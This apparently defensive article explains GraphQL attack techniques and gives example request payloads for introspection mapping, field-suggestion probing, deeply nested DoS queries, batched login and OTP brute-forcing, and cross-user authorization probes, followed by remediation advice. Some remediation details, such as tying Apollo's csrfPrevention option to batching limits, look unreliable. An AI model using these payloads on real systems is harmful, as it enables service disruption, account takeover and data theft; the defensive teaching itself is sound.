Why GraphQL is different from REST (from an attacker's perspective)
REST APIs surface a fixed set of endpoints. An attacker has to enumerate paths to understand what's available. GraphQL exposes a single endpoint — typically /graphql — and, by default, answers questions about its own structure via introspection.
The practical consequence: a single well-crafted query can return your complete schema — every type, field, mutation, and argument — without authentication, in about 200ms. From there, an attacker knows exactly what to target, with no enumeration required.
The second difference is query flexibility. A REST endpoint returns what it returns. A GraphQL query is client-controlled — the caller decides the shape, depth, and relationships of the response. This power is what creates the depth and batching attack vectors.
Attack 1: Introspection — mapping your entire schema
Introspection is GraphQL's built-in self-documentation feature. It lets tools like GraphiQL and Postman autocomplete queries. In production, it hands attackers a complete blueprint of your API.
# Standard introspection query — what automated scanners send first
POST /graphql
Content-Type: application/json
{
"query": "{ __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"
}
# What comes back on a vulnerable endpoint (excerpt):
{
"data": {
"__schema": {
"types": [
{ "name": "User", "fields": [
{ "name": "id" },
{ "name": "email" },
{ "name": "passwordHash" }, <-- exposed field name
{ "name": "stripeCustomerId" },
{ "name": "internalAdminFlag" } <-- exposed field name
]},
{ "name": "Order", "fields": [...] },
{ "name": "AdminMutation", "fields": [...] }
]
}
}
}The field names themselves are intelligence. internalAdminFlag, passwordHash, AdminMutation — these are targets. Even if they're behind authorization checks, knowing they exist directs every subsequent probe.
What scanners look for: a 200 response to the introspection query with a non-empty __schema payload. Disabled introspection returns an error or a null schema — that's the expected production state.
Attack 2: Field suggestion leakage
Even when introspection is disabled, many GraphQL implementations keep field suggestions active — the "Did you mean X?" error that fires when you query a field that doesn't exist but resembles one that does.
# Introspection disabled — but field suggestions leak the schema anyway
POST /graphql
{ "query": "{ usr { id } }" }
# Response:
{
"errors": [{
"message": "Cannot query field 'usr' on type 'Query'. Did you mean 'user' or 'users'?"
}]
}
# Follow up:
{ "query": "{ user { passwrd } }" }
# Response:
{
"errors": [{
"message": "Cannot query field 'passwrd' on type 'User'. Did you mean 'password' or 'passwordHash'?"
}]
}Iterating through common field name variations with an automated tool recovers much of the schema that introspection was meant to hide. This is a frequently overlooked gap — teams disable introspection and consider it done, leaving suggestions enabled.
Attack 3: Query depth attacks
GraphQL allows queries to traverse object relationships arbitrarily. If a User has friends, and each friend is also a User with friends, a deeply nested query triggers exponential database lookups.
# 8-level nested query — a single request that can exhaust the database
POST /graphql
{
"query": "{ user(id: 1) { friends { friends { friends { friends {
friends { friends { friends { friends { id email } } } } } } } } } }"
}
# Each level multiplies DB queries:
# Level 1: 1 query
# Level 2: N queries (one per friend)
# Level 3: N² queries
# Level 8: N⁷ queries
#
# With N=10 friends per user: 10,000,000 database queries from one HTTP requestThis is application-layer DoS with a single unauthenticated request. No flood required. Scanners test this by sending queries at increasing depth levels and measuring response time and server load.
Attack 4: Batching abuse — bypassing rate limits
GraphQL supports query batching: sending an array of operations in a single HTTP request. Rate limiting at the HTTP layer (by IP, by request count) doesn't account for how many operations are inside each request.
Credential brute-force via batching
# One HTTP request, 100 login attempts — bypasses per-IP rate limits
POST /graphql
[
{ "query": "mutation { login(email: "user@example.com", password: "password1") { token } }" },
{ "query": "mutation { login(email: "user@example.com", password: "password2") { token } }" },
{ "query": "mutation { login(email: "user@example.com", password: "password3") { token } }" },
...
{ "query": "mutation { login(email: "user@example.com", password: "password100") { token } }" }
]
# Each mutation executes. A rate limit of 10 req/min allows 1,000 password attempts/min.OTP/2FA bypass via batching
# Enumerate all 10,000 possible 4-digit OTPs in 100 batched requests
POST /graphql
[
{ "query": "mutation { verifyOtp(code: "0000") { success } }" },
{ "query": "mutation { verifyOtp(code: "0001") { success } }" },
...
{ "query": "mutation { verifyOtp(code: "0099") { success } }" }
]
# 100 HTTP requests * 100 operations = 10,000 codes tested
# If no per-operation lockout: 2FA is effectively bypassedAttack 5: Authorization bypass at the resolver level
REST APIs typically enforce authorization at the route level — middleware checks the token before the handler runs. In GraphQL, authorization must be enforced inside every resolver individually. The single-endpoint model makes it easy for teams to forget a field.
# Legitimate query as an authenticated user
{ "query": "{ me { id email } }" }
# Probe: does the users field exist and return other users' data?
{ "query": "{ users { id email stripeCustomerId internalNotes } }" }
# Probe: can I access another user's data directly?
{ "query": "{ user(id: 2) { email passwordHash } }" }
# Probe: does mutation lack auth check?
{ "query": "mutation { updateUser(id: 2, role: "admin") { id role } }" }
# What scanners look for:
# - 200 response with data (not an auth error) for cross-user queries
# - Sensitive fields returned for IDs that don't belong to the current session
# - Mutations that succeed without ownership checksThis is BOLA (Broken Object Level Authorization) applied to GraphQL — the same class of vulnerability as REST IDOR but harder to catch because the field-level surface area is much larger and less obvious than a URL like /api/users/2.
Testing checklist
Remediation
Disable introspection in production
All major GraphQL servers support disabling introspection via configuration. Apollo Server: introspection: false in production. GraphQL Yoga: maskedErrors + disable introspection plugin. This should be the default for any internet-facing endpoint. Keep it enabled only in development and staging environments behind authentication.
Disable field suggestions
This is separate from introspection and often overlooked. Apollo Server: use the apollo-server-plugin-disable-field-suggestions package. GraphQL Yoga: use the useDisableIntrospection plugin which also suppresses suggestions. Both must be disabled independently — disabling introspection alone is not sufficient.
Set query depth and complexity limits
Enforce a maximum query depth (typically 5–7 levels) and a complexity budget per query. Libraries: graphql-depth-limit (Node.js), graphql-query-complexity (Node.js), Strawberry's extensions in Python. Reject queries that exceed limits before execution — never let them reach the database.
Disable or restrict query batching
If you don't need batching, disable it. If you do, enforce per-operation rate limits in addition to per-request limits. Apollo Server: use the csrfPrevention option and limit batch size. Apply the same rate limiting logic to each operation in a batch as you would to individual requests.
Enforce authorization inside every resolver
Authorization middleware at the HTTP layer is not sufficient for GraphQL. Each resolver must independently verify that the authenticated user has permission to access the requested object and field. Use a library like graphql-shield (Node.js) or Strawberry's permission extensions (Python) to define authorization rules declaratively and apply them to the schema — this makes it harder to accidentally skip a field.